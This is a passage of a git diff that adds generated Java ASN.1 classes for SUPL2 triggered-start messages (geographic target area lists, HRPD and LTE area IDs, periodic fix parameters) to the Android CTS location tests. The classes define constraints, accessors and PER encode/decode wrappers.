+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GeographicTargetAreaList
+ extends Asn1SequenceOf<GeographicTargetArea> {
+ //
+
+ private static final Asn1Tag TAG_GeographicTargetAreaList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GeographicTargetAreaList() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GeographicTargetAreaList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GeographicTargetAreaList != null) {
+ return ImmutableList.of(TAG_GeographicTargetAreaList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GeographicTargetAreaList from encoded stream.
+ */
+ public static GeographicTargetAreaList fromPerUnaligned(byte[] encodedBytes) {
+ GeographicTargetAreaList result = new GeographicTargetAreaList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GeographicTargetAreaList from encoded stream.
+ */
+ public static GeographicTargetAreaList fromPerAligned(byte[] encodedBytes) {
+ GeographicTargetAreaList result = new GeographicTargetAreaList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GeographicTargetArea createAndAddValue() {
+ GeographicTargetArea value = new GeographicTargetArea();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GeographicTargetAreaList = [\n");
+ final String internalIndent = indent + " ";
+ for (GeographicTargetArea value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/HRPDAreaId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/HRPDAreaId.java
new file mode 100755
index 0000000..50ecee5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/HRPDAreaId.java
@@ -0,0 +1,307 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class HRPDAreaId extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_HRPDAreaId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public HRPDAreaId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_HRPDAreaId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_HRPDAreaId != null) {
+ return ImmutableList.of(TAG_HRPDAreaId);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new HRPDAreaId from encoded stream.
+ */
+ public static HRPDAreaId fromPerUnaligned(byte[] encodedBytes) {
+ HRPDAreaId result = new HRPDAreaId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new HRPDAreaId from encoded stream.
+ */
+ public static HRPDAreaId fromPerAligned(byte[] encodedBytes) {
+ HRPDAreaId result = new HRPDAreaId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private HRPDAreaId.refSECTORIDType refSECTORID_;
+ public HRPDAreaId.refSECTORIDType getRefSECTORID() {
+ return refSECTORID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a HRPDAreaId.refSECTORIDType
+ */
+ public void setRefSECTORID(Asn1Object value) {
+ this.refSECTORID_ = (HRPDAreaId.refSECTORIDType) value;
+ }
+ public HRPDAreaId.refSECTORIDType setRefSECTORIDToNewInstance() {
+ refSECTORID_ = new HRPDAreaId.refSECTORIDType();
+ return refSECTORID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefSECTORID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefSECTORID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefSECTORIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? HRPDAreaId.refSECTORIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refSECTORID : "
+ + getRefSECTORID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refSECTORIDType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_refSECTORIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refSECTORIDType() {
+ super();
+ setMinSize(128);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refSECTORIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refSECTORIDType != null) {
+ return ImmutableList.of(TAG_refSECTORIDType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refSECTORIDType from encoded stream.
+ */
+ public static refSECTORIDType fromPerUnaligned(byte[] encodedBytes) {
+ refSECTORIDType result = new refSECTORIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refSECTORIDType from encoded stream.
+ */
+ public static refSECTORIDType fromPerAligned(byte[] encodedBytes) {
+ refSECTORIDType result = new refSECTORIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refSECTORIDType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("HRPDAreaId = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/LTEAreaId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/LTEAreaId.java
new file mode 100755
index 0000000..a594ab3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/LTEAreaId.java
@@ -0,0 +1,590 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class LTEAreaId extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_LTEAreaId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LTEAreaId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LTEAreaId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LTEAreaId != null) {
+ return ImmutableList.of(TAG_LTEAreaId);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new LTEAreaId from encoded stream.
+ */
+ public static LTEAreaId fromPerUnaligned(byte[] encodedBytes) {
+ LTEAreaId result = new LTEAreaId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LTEAreaId from encoded stream.
+ */
+ public static LTEAreaId fromPerAligned(byte[] encodedBytes) {
+ LTEAreaId result = new LTEAreaId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private LTEAreaId.refMCCType refMCC_;
+ public LTEAreaId.refMCCType getRefMCC() {
+ return refMCC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LTEAreaId.refMCCType
+ */
+ public void setRefMCC(Asn1Object value) {
+ this.refMCC_ = (LTEAreaId.refMCCType) value;
+ }
+ public LTEAreaId.refMCCType setRefMCCToNewInstance() {
+ refMCC_ = new LTEAreaId.refMCCType();
+ return refMCC_;
+ }
+
+ private LTEAreaId.refMNCType refMNC_;
+ public LTEAreaId.refMNCType getRefMNC() {
+ return refMNC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LTEAreaId.refMNCType
+ */
+ public void setRefMNC(Asn1Object value) {
+ this.refMNC_ = (LTEAreaId.refMNCType) value;
+ }
+ public LTEAreaId.refMNCType setRefMNCToNewInstance() {
+ refMNC_ = new LTEAreaId.refMNCType();
+ return refMNC_;
+ }
+
+ private LTEAreaId.refCIType refCI_;
+ public LTEAreaId.refCIType getRefCI() {
+ return refCI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LTEAreaId.refCIType
+ */
+ public void setRefCI(Asn1Object value) {
+ this.refCI_ = (LTEAreaId.refCIType) value;
+ }
+ public LTEAreaId.refCIType setRefCIToNewInstance() {
+ refCI_ = new LTEAreaId.refCIType();
+ return refCI_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMCC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMCC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMCCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LTEAreaId.refMCCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMCC : "
+ + getRefMCC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMNC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMNC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMNCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LTEAreaId.refMNCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMNC : "
+ + getRefMNC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefCI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefCI();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefCIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LTEAreaId.refCIType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refCI : "
+ + getRefCI().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMCCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMCCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMCCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMCCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMCCType != null) {
+ return ImmutableList.of(TAG_refMCCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerUnaligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerAligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMCCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMNCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMNCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMNCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMNCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMNCType != null) {
+ return ImmutableList.of(TAG_refMNCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerUnaligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerAligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMNCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refCIType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_refCIType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refCIType() {
+ super();
+ setMinSize(29);
+setMaxSize(29);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refCIType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refCIType != null) {
+ return ImmutableList.of(TAG_refCIType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refCIType from encoded stream.
+ */
+ public static refCIType fromPerUnaligned(byte[] encodedBytes) {
+ refCIType result = new refCIType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refCIType from encoded stream.
+ */
+ public static refCIType fromPerAligned(byte[] encodedBytes) {
+ refCIType result = new refCIType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refCIType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("LTEAreaId = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/PeriodicParams.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/PeriodicParams.java
new file mode 100755
index 0000000..5bde406
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/PeriodicParams.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PeriodicParams extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PeriodicParams
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PeriodicParams() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PeriodicParams;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PeriodicParams != null) {
+ return ImmutableList.of(TAG_PeriodicParams);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PeriodicParams from encoded stream.
+ */
+ public static PeriodicParams fromPerUnaligned(byte[] encodedBytes) {
+ PeriodicParams result = new PeriodicParams();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PeriodicParams from encoded stream.
+ */
+ public static PeriodicParams fromPerAligned(byte[] encodedBytes) {
+ PeriodicParams result = new PeriodicParams();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PeriodicParams.numberOfFixesType numberOfFixes_;
+ public PeriodicParams.numberOfFixesType getNumberOfFixes() {
+ return numberOfFixes_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PeriodicParams.numberOfFixesType
+ */
+ public void setNumberOfFixes(Asn1Object value) {
+ this.numberOfFixes_ = (PeriodicParams.numberOfFixesType) value;
+ }
+ public PeriodicParams.numberOfFixesType setNumberOfFixesToNewInstance() {
+ numberOfFixes_ = new PeriodicParams.numberOfFixesType();
+ return numberOfFixes_;
+ }
+
+ private PeriodicParams.intervalBetweenFixesType intervalBetweenFixes_;
+ public PeriodicParams.intervalBetweenFixesType getIntervalBetweenFixes() {
+ return intervalBetweenFixes_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PeriodicParams.intervalBetweenFixesType
+ */
+ public void setIntervalBetweenFixes(Asn1Object value) {
+ this.intervalBetweenFixes_ = (PeriodicParams.intervalBetweenFixesType) value;
+ }
+ public PeriodicParams.intervalBetweenFixesType setIntervalBetweenFixesToNewInstance() {
+ intervalBetweenFixes_ = new PeriodicParams.intervalBetweenFixesType();
+ return intervalBetweenFixes_;
+ }
+
+ private PeriodicParams.startTimeType startTime_;
+ public PeriodicParams.startTimeType getStartTime() {
+ return startTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PeriodicParams.startTimeType
+ */
+ public void setStartTime(Asn1Object value) {
+ this.startTime_ = (PeriodicParams.startTimeType) value;
+ }
+ public PeriodicParams.startTimeType setStartTimeToNewInstance() {
+ startTime_ = new PeriodicParams.startTimeType();
+ return startTime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNumberOfFixes() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNumberOfFixes();
+ }
+
+ @Override public void setToNewInstance() {
+ setNumberOfFixesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PeriodicParams.numberOfFixesType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "numberOfFixes : "
+ + getNumberOfFixes().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
